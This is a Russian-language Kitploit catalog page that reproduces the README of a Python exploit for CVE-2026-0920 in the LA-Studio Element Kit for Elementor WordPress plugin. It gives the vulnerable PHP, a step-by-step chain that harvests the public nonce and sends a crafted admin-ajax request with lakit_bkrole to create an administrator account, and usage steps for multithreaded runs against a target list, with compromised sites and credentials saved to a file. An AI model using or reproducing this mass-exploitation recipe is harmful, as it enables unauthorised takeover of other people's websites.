Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0920- — LA-Studio Element Kit для Elementor <= 1.5.6.3 - неаутентифицированное повышение привилегий через бэкдор для создания административного пользователя через параметр lakit_bkrole | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-0920-
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и Образование
GitHubnxploited/cve-2026-0920-

CVE-2026-0920-

LA-Studio Element Kit для Elementor <= 1.5.6.3 - неаутентифицированное повышение привилегий через бэкдор для создания административного пользователя через параметр lakit_bkrole

Репозиторий
21126 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - Неавторизованное повышение привилегий через бэкдор для создания учётной записи администратора через параметр lakit_bkrole

   _____   _____   ___ __ ___  __      __  ___ ___ __  
  / __\ \ / / __|_|_  )  \_  )/ / ___ /  \/ _ \_  )  \ 
 | (__ \ V /| _|___/ / / () / // _ \___| () \_, // / () |
  \___| \_/ |___| /___\__/___\___/    \__/ /_//___\__/ 

Telegram CVE CVSS Python License


📡 Эксплойт выходит здесь первым. Подписывайтесь на @KNxploited в Telegram — ваш элитный канал со свежераскрытыми CVE, рабочими PoC и точными security-исследованиями. Обновляется неустанно. Создан для тех, кто идёт впереди.


🧠 Обзор

CVE-2026-0920 — это критическая уязвимость с оценкой CVSS 9.8, обнаруженная в WordPress-плагине LA-Studio Element Kit for Elementor.

Недочёт находится в функции ajax_register_handle(), которая обрабатывает неавторизованную регистрацию пользователей через AJAX. Функция не накладывает никаких ограничений на параметр lakit_bkrole — что позволяет полностью неавторизованному атакующему самостоятельно назначить себе роль administrator при регистрации, получая полный контроль над административной панелью WordPress одним запросом.

ПолеДетали
CVE IDCVE-2026-0920
ПлагинLA-Studio Element Kit for Elementor
Sluglakit / la-studio-element-kit-for-elementor
Затронутые версииВсе версии вплоть до 1.5.6.3 включительно
Тип уязвимостиНеавторизованное повышение привилегий / создание администратора
Вектор атакиСеть — аутентификация не требуется
Оценка CVSS 3.19.8 CRITICAL
Вектор CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ВоздействиеПолный захват администратора WordPress
ИсследовательNxploited

💀 Глубокий разбор уязвимости

Корневая причина — отсутствие проверки прав на роли внутри AJAX-обработчика регистрации плагина:

// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);

public function ajax_register_handle() {
    $actions = json_decode(stripslashes($_POST['actions']), true);

    foreach ($actions as $req) {
        if ($req['action'] === 'register') {
            $data = $req['data'];

            $user_data = [
                'user_login' => $data['username'],
                'user_pass'  => $data['password'],
                'user_email' => $data['email'],
                'role'       => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
            ];

            // No validation of $data['lakit_bkrole'] against allowed roles
            wp_insert_user($user_data); // Administrator created silently
        }
    }
}

Почему это критично:

  • wp_ajax_nopriv_* = доступно кому угодно без какой-либо аутентификации
  • lakit_bkrole принимает любую строку роли WordPress — включая administrator
  • Один POST-запрос создаёт полностью привилегированную учётную запись администратора
  • Требуемый nonce открыто раскрывается в HTML/JS фронтенда сайта
  • Нет ограничения частоты запросов, нет CAPTCHA по умолчанию, не требуется подтверждение email

⚔️ Цепочка эксплойта

Step 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)

Search HTML/JS for:
  "ajaxNonce": "<value>"         ← Inline JSON config
  ajaxNonce: '<value>'           ← JS variable
  data-ajaxnonce="<value>"       ← HTML attribute

Nonce is publicly accessible — no login required.
  ↓
ajaxNonce extracted ✔️

──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php

  action  = lakit_ajax
  _nonce  = <extracted nonce>
  actions = {
    "req1": {
      "action": "register",
      "data": {
        "email":                  "[email protected]",
        "password":               "adminSA",
        "username":               "Nx_admin",
        "lakit_field_log":        "yes",   ← use supplied username
        "lakit_field_pwd":        "yes",   ← use supplied password
        "lakit_field_cpwd":       "no",    ← skip password confirm
        "lakit_bkrole":           "1",     ← trigger admin role injection
        "lakit_recaptcha_response": ""
      }
    }
  }
  ↓
Administrator account silently created ✔️

──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
  log = Nx_admin
  pwd = adminSA
  ↓
Session cookies obtained → GET /wp-admin/plugin-install.php
  ↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️

⚙️ Требования

pip install requests colorama
ЗависимостьНазначение
requestsHTTP-запросы, управление сессиями и cookie
coloramaЦветной вывод в терминале на всех платформах
threadingПараллельная обработка нескольких целей
reИзвлечение nonce из HTML/JS с помощью регулярных выражений

Рекомендуется Python 3.10+ (используются аннотации объединённых типов str | None).


📂 Структура файлов

CVE-2026-0920/
├── CVE-2026-0920.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: pwned targets + credentials

🚀 Использование

Шаг 1 — Настройка учётных данных (необязательно)

Откройте CVE-2026-0920.py и отредактируйте константы в начале файла, чтобы задать желаемые данные учётной записи администратора:

ADMIN_EMAIL    = "[email protected]"   # Email for the new admin account
ADMIN_PASSWORD = "adminSA"                 # Password for the new admin account
ADMIN_USERNAME = "Nx_admin"               # Username for the new admin account

Шаг 2 — Подготовка целей

Создайте файл list.txt с одним URL-адресом цели на строку:

https://target1.com
https://target2.com
http://target3.com

К URL-адресам без схемы автоматически добавляется префикс https://.


Шаг 3 — Запуск эксплойта

python CVE-2026-0920.py

Вам будет предложено ввести:

Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50):             20

Шаг 4 — Наблюдение за выводом в реальном времени

Скрипт выдаёт цветной вывод в терминале в реальном времени:

Скачать инструмент